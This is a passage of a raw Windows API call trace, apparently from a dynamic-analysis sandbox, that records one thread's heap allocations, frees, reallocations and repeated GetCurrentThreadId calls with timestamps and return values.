HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0075.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84818, Size=0x10) returned 0x2c84830 [0075.940] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c849b0, Size=0x10) returned 0x2c847e8 [0075.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.940] GetCurrentThreadId () returned 0x9b0 [0075.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de748 | out: hHeap=0x2ad0000) returned 1 [0075.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7c8 [0075.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.941] GetCurrentThreadId () returned 0x9b0 [0075.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0075.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84920 [0075.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0075.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84878 [0075.941] GetCurrentThreadId () returned 0x9b0 [0075.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.942] GetCurrentThreadId () returned 0x9b0 [0075.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0075.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84920 | out: hHeap=0x2ad0000) returned 1 [0075.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de828 [0075.942] GetCurrentThreadId () returned 0x9b0 [0075.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0075.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84758 [0075.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847a0 [0075.942] GetCurrentThreadId () returned 0x9b0 [0075.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.942] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.943] GetCurrentThreadId () returned 0x9b0 [0075.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0075.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84758 | out: hHeap=0x2ad0000) returned 1 [0075.943] GetCurrentThreadId () returned 0x9b0 [0075.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0075.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0075.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.943] GetCurrentThreadId () returned 0x9b0 [0075.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6e8 [0075.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0075.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0075.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6e8 | out: hHeap=0x2ad0000) returned 1 [0075.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de858 [0075.944] GetCurrentThreadId () returned 0x9b0 [0075.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0075.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84788 [0075.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.944] GetCurrentThreadId () returned 0x9b0 [0075.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84920 [0075.944] GetCurrentThreadId () returned 0x9b0 [0075.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84968 [0075.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.944] GetCurrentThreadId () returned 0x9b0 [0075.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84950 [0075.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de828 | out: hHeap=0x2ad0000) returned 1 [0075.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847a0 | out: hHeap=0x2ad0000) returned 1 [0075.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84788 | out: hHeap=0x2ad0000) returned 1 [0075.945] GetCurrentThreadId () returned 0x9b0 [0075.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de698 [0075.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84950 | out: hHeap=0x2ad0000) returned 1 [0075.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84998 [0075.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de698 | out: hHeap=0x2ad0000) returned 1 [0075.945] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84830, Size=0x10) returned 0x2c84950 [0075.945] GetCurrentThreadId () returned 0x9b0 [0075.945] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c847e8, Size=0x10) returned 0x2c84860 [0075.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.946] GetCurrentThreadId () returned 0x9b0 [0075.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84968 | out: hHeap=0x2ad0000) returned 1 [0075.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84998 | out: hHeap=0x2ad0000) returned 1 [0075.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de818 [0075.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.946] GetCurrentThreadId () returned 0x9b0 [0075.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0075.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0075.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84770 [0075.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0075.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849b0 [0075.946] GetCurrentThreadId () returned 0x9b0 [0075.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.947] GetCurrentThreadId () returned 0x9b0 [0075.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0075.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84770 | out: hHeap=0x2ad0000) returned 1 [0075.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7f8 [0075.947] GetCurrentThreadId () returned 0x9b0 [0075.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0075.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6c8 | out: hHeap=0x2ad0000) returned 1 [0075.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84830 [0075.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0075.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84968 [0075.947] GetCurrentThreadId () returned 0x9b0 [0075.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de698 [0075.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84830 | out: hHeap=0x2ad0000) returned 1 [0075.948] GetCurrentThreadId () returned 0x9b0 [0075.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0075.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de698 | out: hHeap=0x2ad0000) returned 1 [0075.948] GetCurrentThreadId () returned 0x9b0 [0075.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0075.948] GetCurrentThreadId () returned 0x9b0 [0075.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.948] GetCurrentThreadId () returned 0x9b0 [0075.949] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84860, Size=0x20) returned 0x30284e0 [0075.949] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84950, Size=0x20) returned 0x30282d8 [0075.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.949] GetCurrentThreadId () returned 0x9b0 [0075.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.949] GetCurrentThreadId () returned 0x9b0 [0075.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0075.949] GetCurrentThreadId () returned 0x9b0 [0075.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6c8 [0075.949] GetCurrentThreadId () returned 0x9b0 [0075.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84938 [0075.949] GetCurrentThreadId () returned 0x9b0 [0075.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.949] GetCurrentThreadId () returned 0x9b0 [0075.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.949] GetCurrentThreadId () returned 0x9b0 [0075.949] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6f8 [0075.950] GetCurrentThreadId () returned 0x9b0 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.950] GetCurrentThreadId () returned 0x9b0 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848d8 [0075.950] GetCurrentThreadId () returned 0x9b0 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84710 [0075.950] GetCurrentThreadId () returned 0x9b0 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848c0 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84938 [0075.950] GetCurrentThreadId () returned 0x9b0 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84950 [0075.950] GetCurrentThreadId () returned 0x9b0 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84800 [0075.950] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b60, Size=0x14) returned 0x3183b00 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.950] GetCurrentThreadId () returned 0x9b0 [0075.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.951] GetLastError () returned 0x0 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.951] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c849e0, Size=0x20) returned 0x30282d8 [0075.951] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b00, Size=0x10) returned 0x2c847a0 [0075.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.951] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c847a0, Size=0x20) returned 0x30283f0 [0075.952] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84998, Size=0x20) returned 0x3028260 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.952] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.953] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d6578, Size=0x30) returned 0x3262d08 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] GetCurrentThreadId () returned 0x9b0 [0075.954] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a19298 [0075.954] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a19250 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x28) returned 0x2a20138 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.955] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d6118, Size=0x30) returned 0x3262d08 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.956] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.957] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c848a8, Size=0x20) returned 0x3028260 [0075.957] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c847e8, Size=0x20) returned 0x3028300 [0075.957] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.958] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] GetCurrentThreadId () returned 0x9b0 [0075.959] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de838, Size=0x14) returned 0x3183840 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.960] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.961] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a201c8, Size=0x18) returned 0x3183b60 [0075.961] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b60, Size=0x14) returned 0x3183860 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183860, Size=0x10) returned 0x2c848f0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.962] GetCurrentThreadId () returned 0x9b0 [0075.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c848f0, Size=0x20) returned 0x30284e0 [0075.963] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c848d8, Size=0x20) returned 0x3028260 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] 